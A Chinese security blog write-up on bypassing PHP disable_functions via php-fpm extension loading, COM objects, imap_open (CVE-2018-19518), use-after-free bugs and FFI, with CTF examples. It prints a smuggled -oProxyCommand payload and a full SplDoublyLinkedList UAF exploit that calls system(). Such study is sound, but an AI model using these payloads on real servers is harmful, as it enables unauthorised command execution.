本文首发于“合天网安实验室”作者: HhhM
加载so扩展
前面虽然解释了其原理,但毕竟理论与实践有所区别,因此我们可以自己打一下extension进行测试。
so文件可以从项目中获取,根据其提示编译即可获取ant.so的库,修改php-fpm的php.ini,加入:
extension=/var/www/html/ant.so
然后重启php-fpm,如果使用如下:
![d5881e8ebfd0e295451bab520a5f43a7.png](https://i-blog.csdnimg.cn/blog_migrate/439d28a610d4c8cd780f59d37691a194.jpeg)
成功执行命令时即说明扩展成功加载,那么我们再把ini恢复为先前的样子,我们尝试直接攻击php-fpm来修改其配置项。
以脚本来攻击:
![0762d7bdcd7c811946ae2070375b8742.png](https://i-blog.csdnimg.cn/blog_migrate/ab669840167de7a6bccec1f3250c3155.jpeg)
![2eaf28a20260196ab7467cf14ac69aaa.png](https://i-blog.csdnimg.cn/blog_migrate/89fa7493ca610ec3d046e104c3d1772b.jpeg)
![39b99c5c4e3fac71e8e0a525862019f6.png](https://i-blog.csdnimg.cn/blog_migrate/9ffe1b5d7243b8388613e355a49cb14a.jpeg)
![25afa757cf72587be15442f0dc9c2fd2.png](https://i-blog.csdnimg.cn/blog_migrate/44b1f2a0557ecd1ba99057b2bd99eb50.jpeg)
![b881a6f03cb3fd38e4d2165a33700f36.png](https://i-blog.csdnimg.cn/blog_migrate/ab3f3f598b040425d60cc7374c87a2fb.jpeg)
![784dbeb360899c006eec5e1d6865a6ff.png](https://i-blog.csdnimg.cn/blog_migrate/9debd107659866b13ce3b620d3f68ae1.jpeg)
![ef22e478005bfaae31bf126da8bec184.png](https://i-blog.csdnimg.cn/blog_migrate/bdb999e55961d7e7fa2a65e0c4a8c560.jpeg)
![c9a057c606034e5fc4bdee3721c4444c.png](https://i-blog.csdnimg.cn/blog_migrate/2c7574d548ffa7382127cc94cab34b5b.jpeg)
![afd0dfa59181143bd5e197e95747475a.png](https://i-blog.csdnimg.cn/blog_migrate/39d9030bcb783af08af3a0b71bcdc03d.jpeg)
![19d4a48831e29bbed561354b6ea4af1d.png](https://i-blog.csdnimg.cn/blog_migrate/d3e83778fc7a6d2a1534c783aab1eb1d.jpeg)
![0f664d69392246cfdba0317ae5758b1d.png](https://i-blog.csdnimg.cn/blog_migrate/6a705bb9e194c0c3a5682919c4ee6f0a.jpeg)
![75adfb1381e9e42d9c662c8d7f939289.png](https://i-blog.csdnimg.cn/blog_migrate/a131f21eede04fbae1d4150535dba906.jpeg)
![caa2f7987448dc1ecc15eec05f71821a.png](https://i-blog.csdnimg.cn/blog_migrate/c0c7a3a13ba6154ae432445e7e1afe49.jpeg)
![c82fa890ca3ca6952da63aec89a051ef.png](https://i-blog.csdnimg.cn/blog_migrate/f587f1c243976e96509b5f5e64c298f5.jpeg)
![af08a655efcc07d23d61c9345a452bb1.png](https://i-blog.csdnimg.cn/blog_migrate/b9f53ee58123ac2ed16a1e2316dedd2e.jpeg)
通过修改其内的code即可,效果如下:
![7194edeab131e9cce6d8681517191b78.png](https://i-blog.csdnimg.cn/blog_migrate/f26182500da4c15664f2f72d95fe1219.jpeg)
漏洞利用成功。
com组件
原理&利用
需要目标机器满足下列三个条件:
- com.allow_dcom = true
- extension=php_com_dotnet.dll
- php>5.4
此时com组件开启,我们能够在phpinfo中看到:
![aaba627ced2cfa92ce2061254e8cf409.png](https://i-blog.csdnimg.cn/blog_migrate/2e32b9df33e1acf14c1fa1fbc83bb3e6.jpeg)
要知道原理还是直接从exp看起:
![e73c440cff4a72baf414246551dd8727.png](https://i-blog.csdnimg.cn/blog_migrate/0107c3de81064bca22b54758f303f2e6.jpeg)
首先,以new COM('WScript.shell')来生成一个com对象,里面的参数也可以为Shell.Application(笔者的win10下测试失败)。
然后这个com对象中存在着exec可以用来执行命令,而后续的方法则是将命令输出,该方式的利用还是较为简单的,就不多讲了。
imap_open
该bypass方式为CVE-2018-19518
原理
imap扩展用于在PHP中执行邮件收发操作,而imap_open是一个imap扩展的函数,在使用时通常以如下形式:
$imap = imap_open('{'.$_POST['server'].':993/imap/ssl}INBOX', $_POST['login'], $_POST['password']);
那么该函数在调用时会调用rsh来连接远程shell,而在debian/ubuntu中默认使用ssh来代替rsh的功能,也即是说在这俩系统中调用的实际上是ssh,而ssh中可以通过-oProxyCommand=来调用命令,该选项可以使得我们在连接服务器之前先执行命令,并且需要注意到的是此时并不是php解释器在执行该系统命令,其以一个独立的进程去执行了该命令,因此我们也就成功的bypass disable function了。
那么我们可以先在ubuntu上试验一下:
ssh -oProxyCommand="ls>test" 192.168.2.1
![3f9b18d9bd981980c8fd198cebe1ed9f.png](https://i-blog.csdnimg.cn/blog_migrate/3670271e705473da93550662342bfaba.jpeg)
环境的话vulhub上有,其中给出了poc:
POST / HTTP/1.1Host: your-ipAccept-Encoding: gzip, deflateAccept: */*Accept-Language: enUser-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)Connection: closeContent-Type: application/x-www-form-urlencodedContent-Length: 125hostname=x+-oProxyCommand%3decho%09ZWNobyAnMTIzNDU2Nzg5MCc%2bL3RtcC90ZXN0MDAwMQo%3d|base64%09-d|sh}&username=111&password=222
我们可以发现其中使用了%09来绕过空格,以base64的形式来执行我们的命令,那么我这里再验证一下:
hostname=x+-oProxyCommand%3decho%09bHM%2BdGVzdAo%3D|base64%09-d|sh}&username=111&password=222//ls>test
会发现成功写入了一个test,漏洞利用成功,那么接下来就是各种肆意妄为了。
三种UAF
EXP在:https://github.com/mm0r1/exploits
三种uaf分别是:
- Json Serializer UAF
- GC UAF
- Backtrace UAF
关于uaf的利用因为涉及到二进制相关的知识,而笔者是个web狗,因此暂时只会用exp打打,因此这里就不多说,就暂时先稍微提一下三种uaf的利用版本及其概述//其实我就是照搬了exp里面的说明,读者可以看exp作者的说明就行了。
Json Serializer UAF
漏洞出现的版本在于:
- 7.1 - all versions to date
- 7.2 < 7.2.19 (released: 30 May 2019)
- 7.3 < 7.3.6 (released: 30 May 2019)
漏洞利用json在序列化中的堆溢出触发bypass,漏洞为bug #77843
GC UAF
漏洞出现的版本在于:
- 7.0 - all versions to date
- 7.1 - all versions to date
- 7.2 - all versions to date
- 7.3 - all versions to date
漏洞利用的是php garbage collector(垃圾收集器)程序中的堆溢出达成bypass,漏洞为:bug #72530
Backtrace UAF
漏洞出现的版本在于:
- 7.0 - all versions to date
- 7.1 - all versions to date
- 7.2 - all versions to date
- 7.3 < 7.3.15 (released 20 Feb 2020)
- 7.4 < 7.4.3 (released 20 Feb 2020)
漏洞利用的是 debug_backtrace这个函数,可以利用该函数的漏洞返回已经销毁的变量的引用达成堆溢出,漏洞为bug #76047
利用
利用的话exp或者蚁剑上都有利用插件了,这里不多讲,可以上ctfhub测试。
SplDoublyLinkedList UAF
概述
这个UAF是在先知上看到的,引用原文来概述:
可以看到,删除元素的操作被放在了置空 traverse_pointer 指针前。
所以在删除一个对象时,我们可以在其构析函数中通过 current 访问到这个对象,也可以通过 next 访问到下一个元素。如果此时下一个元素已经被删除,就会导致 UAF。
PHP 部分(仅在 7.4.10、7.3.22、7.2.34 版本测试)
exp
exp同样出自原文。
php部分:
<?phperror_reporting (0);$a = str_repeat("T", 120 * 1024 * 1024);function i2s(&$a, $p, $i, $x = 8) { for($j = 0;$j < $x;$j++) { $a[$p + $j] = chr($i & 0xff); $i >>= 8; }}function s2i($s) { $result = 0; for ($x = 0;$x < strlen($s);$x++) { $result <<= 8; $result |= ord($s[$x]); } return $result;}function leak(&$a, $address) { global $s; i2s($a, 0x00, $address - 0x10); return strlen($s -> current());}function getPHPChunk($maps) { $pattern = '/([0-9a-f]+-[0-9a-f]+) rw-p 00000000 00:00 0 /'; preg_match_all($pattern, $maps, $match); foreach ($match[1] as $value) { list($start, $end) = explode("-", $value); if (($length = s2i(hex2bin($end)) - s2i(hex2bin($start))) >= 0x200000 && $length <= 0x300000) { $address = array(s2i(hex2bin($start)), s2i(hex2bin($end)), $length); echo "[+]PHP Chunk: " . $start . " - " . $end . ", length: 0x" . dechex($length) . ""; return $address; } }}function bomb1(&$a) { if (leak($a, s2i($_GET["test1"])) === 0x5454545454545454) { return (s2i($_GET["test1"]) & 0x7ffff0000000); }else { die("[!]Where is here"); }}function bomb2(&$a) { $start = s2i($_GET["test2"]); return getElement($a, array($start, $start + 0x200000, 0x200000)); die("[!]Not Found");}function getElement(&$a, $address) { for ($x = 0;$x < ($address[2] / 0x1000 - 2);$x++) { $addr = 0x108 + $address[0] + 0x1000 * $x + 0x1000; for ($y = 0;$y < 5;$y++) { if (leak($a, $addr + $y * 0x08) === 0x1234567812345678 && ((leak($a, $addr + $y * 0x08 - 0x08) & 0xffffffff) === 0x01)){ echo "[+]SplDoublyLinkedList Element: " . dechex($addr + $y * 0x08 - 0x18) . ""; return $addr + $y * 0x08 - 0x18; } } }}function getClosureChunk(&$a, $address) { do { $address = leak($a, $address); }while(leak($a, $address) !== 0x00); echo "[+]Closure Chunk: " . dechex($address) . ""; return $address;}function getSystem(&$a, $address) { $start = $address & 0xffffffffffff0000; $lowestAddr = ($address & 0x0000fffffff00000) - 0x0000000001000000; for($i = 0; $i < 0x1000 * 0x80; $i++) { $addr = $start - $i * 0x20; if ($addr < $lowestAddr) { break; } $nameAddr = leak($a, $addr); if ($nameAddr > $address || $nameAddr < $lowestAddr) { continue; } $name = dechex(leak($a, $nameAddr)); $name = str_pad($name, 16, "0", STR_PAD_LEFT); $name = strrev(hex2bin($name)); $name = explode("x00", $name)[0]; if($name === "system") { return leak($a, $addr + 0x08); } }}class Trigger { function __destruct() { global $s; unset($s[0]); $a = str_shuffle(str_repeat("T", 0xf)); i2s($a, 0x00, 0x1234567812345678); i2s($a, 0x08, 0x04, 7); $s -> current(); $s -> next(); if ($s -> current() !== 0x1234567812345678) { die("[!]UAF Failed"); } $maps = file_get_contents("/proc/self/maps"); if (!$maps) { cantRead($a); }else { canRead($maps, $a); } echo "[+]Done"; }}function bypass($elementAddress, &$a) { global $s; if (!$closureChunkAddress = getClosureChunk($a, $elementAddress)) { die("[!]Get Closure Chunk Address Failed"); } $closure_object = leak($a, $closureChunkAddress + 0x18); echo "[+]Closure Object: " . dechex($closure_object) . ""; $closure_handlers = leak($a, $closure_object + 0x18); echo "[+]Closure Handler: " . dechex($closure_handlers) . ""; if(!($system_address = getSystem($a, $closure_handlers))) { die("[!]Couldn't determine system address"); } echo "[+]Find system's handler: " . dechex($system_address) . ""; i2s($a, 0x08, 0x506, 7); for ($i = 0;$i < (0x130 / 0x08);$i++) { $data = leak($a, $closure_object + 0x08 * $i); i2s($a, 0x00, $closure_object + 0x30); i2s($s -> current(), 0x08 * $i + 0x100, $data); } i2s($a, 0x00, $closure_object + 0x30); i2s($s -> current(), 0x20, $system_address); i2s($a, 0x00, $closure_object); i2s($a, 0x08, 0x108, 7); echo "[+]Executing command: "; ($s -> current())("php -v");}function canRead($maps, &$a) { global $s; if (!$chunkAddress = getPHPChunk($maps)) { die("[!]Get PHP Chunk Address Failed"); } i2s($a, 0x08, 0x06, 7); if (!$elementAddress = getElement($a, $chunkAddress)) { die("[!]Get SplDoublyLinkedList Element Address Failed"); } bypass($elementAddress, $a);}function cantRead(&$a) { global $s; i2s($a, 0x08, 0x06, 7); if (!isset($_GET["test1"]) && !isset($_GET["test2"])) { die("[!]Please try to get address of PHP Chunk"); } if (isset($_GET["test1"])) { die(dechex(bomb1($a))); } if (isset($_GET["test2"])) { $elementAddress = bomb2($a); } if (!$elementAddress) { die("[!]Get SplDoublyLinkedList Element Address Failed"); } bypass($elementAddress, $a);}$s = new SplDoublyLinkedList();$s -> push(new Trigger());$s -> push("Twings");$s -> push(function($x){});for ($x = 0;$x < 0x100;$x++) { $s -> push(0x1234567812345678);}$s -> rewind();unset($s[0]);
python部分:
![8abb7479691d19aa4f65aeabc5224305.png](https://i-blog.csdnimg.cn/blog_migrate/53d71dc47d05f12a07a272f47c2e06e2.jpeg)
![c34d65eeb56147a076cde54aef8300df.png](https://i-blog.csdnimg.cn/blog_migrate/c331bfd6a3bda56939f6938a323229d0.jpeg)
![ca19edce90a10926ec6a2bad6e5121ff.png](https://i-blog.csdnimg.cn/blog_migrate/48d04f70a901aa82701fb0636b19de6a.jpeg)
ffi扩展
ffi扩展笔者初见于TCTF/0CTF 2020中的easyphp,当时是因为非预期解拿到flag发现了ffi三个字母才了解到php7.4中多了ffi这种东西。
原理
PHP FFI(Foreign Function interface),提供了高级语言直接的互相调用,而对于PHP而言,FFI让我们可以方便的调用C语言写的各种库。
也即是说我们可以通过ffi来调用c语言的函数从而绕过disable的限制,我们可以简单使用一个示例来体会一下:
![9abcaa628e14d94e7dc25314460ee0d8.png](https://i-blog.csdnimg.cn/blog_migrate/29a39d81816995b975705f4c6b0b07a1.jpeg)
输出如下:
![7100d756836125421f0ff9fe20c071fe.png](https://i-blog.csdnimg.cn/blog_migrate/e13736c255cc064401fe34aa2496ecf7.jpeg)
那么这种利用方式可能出现的场景还不是很多,因此笔者稍微讲解一下。
首先是cdef:
![00a13d46b4ecc779a5b819871ba3883f.png](https://i-blog.csdnimg.cn/blog_migrate/b0d4a75acefe7091d0355b46c7d41670.jpeg)
这一行是创建一个ffi对象,默认就会加载标准库,以本行为例是导入system这个函数,而这个函数理所当然是存在于标准库中,那么我们若要导入库时则可以以如下方式:
![8b8154700e1d3ee3249d3c958235d7f4.png](https://i-blog.csdnimg.cn/blog_migrate/1ef2dd4fa1ea2699c3daa2d037357044.jpeg)
可以看看其函数原型:
![1d7f1df5be2302efdd55373d2a261509.png](https://i-blog.csdnimg.cn/blog_migrate/59a949981e36e4c3dd9a5c72d975c99a.jpeg)
取得了ffi对象后我们就可以直接调用函数了:
![32c90d16c43990bf3f4db7116bd37088.png](https://i-blog.csdnimg.cn/blog_migrate/10a5acedbc241362543478e154e0a87e.jpeg)
之后的代码较为简单就不多讲,那么接下来看看实际应用该从哪里入手。
利用
以tctf的题目为例,题目直接把cdef过滤了,并且存在着basedir,但我们可以使用之前说过bypass basedir来列目录,逐一尝试能够发现可以使用glob列根目录目录:
![e324d2a40c8e37e5db6dbe68c5004799.png](https://i-blog.csdnimg.cn/blog_migrate/d34e164fae7609c00b5436d8a1e5657c.jpeg)
可以发现根目录存在着flag.h跟so:
![008887bfc30127364712092f604df083.png](https://i-blog.csdnimg.cn/blog_migrate/06ef5858448d30148f01383ed8d8ad3d.jpeg)
因为后面环境没有保存,笔者这里简单复述一下当时题目的情况(仅针对预期解)。
发现了flag.h之后查看ffi相关文档能够发现一个load方法可以加载头文件。
于是有了如下:
![bfece40eb760d3d19d1065a892f4c09b.png](https://i-blog.csdnimg.cn/blog_migrate/f11e7a420590a766456e96491e7e5680.jpeg)
但当我们想要打印头文件来获取其内存在的函数时会尴尬的发现如下:
![2cefa8aa7b375b62e3c6a08f35b1c698.png](https://i-blog.csdnimg.cn/blog_migrate/c7d273de2cd38a0596725a7a4c8717c5.jpeg)
我们无法获取到存在的函数结构,因此也就无法使用ffi调用函数,这一步路就断了,并且cdef也被过滤了,无法直接调用system函数,但查看文档能够发现ffi中存在着不少与内存相关的函数,因此存在着内存泄露的可能,这里借用飘零师傅的exp:
![706b7d6b2b44eff21c450e1519eceb74.png](https://i-blog.csdnimg.cn/blog_migrate/21301184bc743e0b06d4e45a39ef805f.jpeg)
![6ffc839088afeacfe8cee26462b35225.png](https://i-blog.csdnimg.cn/blog_migrate/41d3680503bc8b48d39a05e20d475f01.jpeg)
![27d4893a8cd115ba8583c594147c9b63.png](https://i-blog.csdnimg.cn/blog_migrate/caeff90263380888bb168c1f2ef05639.jpeg)
获取到函数名后直接调用函数然后把结果打印出来即可:
![da54812876055dc0825ccf8121fe4b01.png](https://i-blog.csdnimg.cn/blog_migrate/8b847d30173ba6f2812646034b4e933b.jpeg)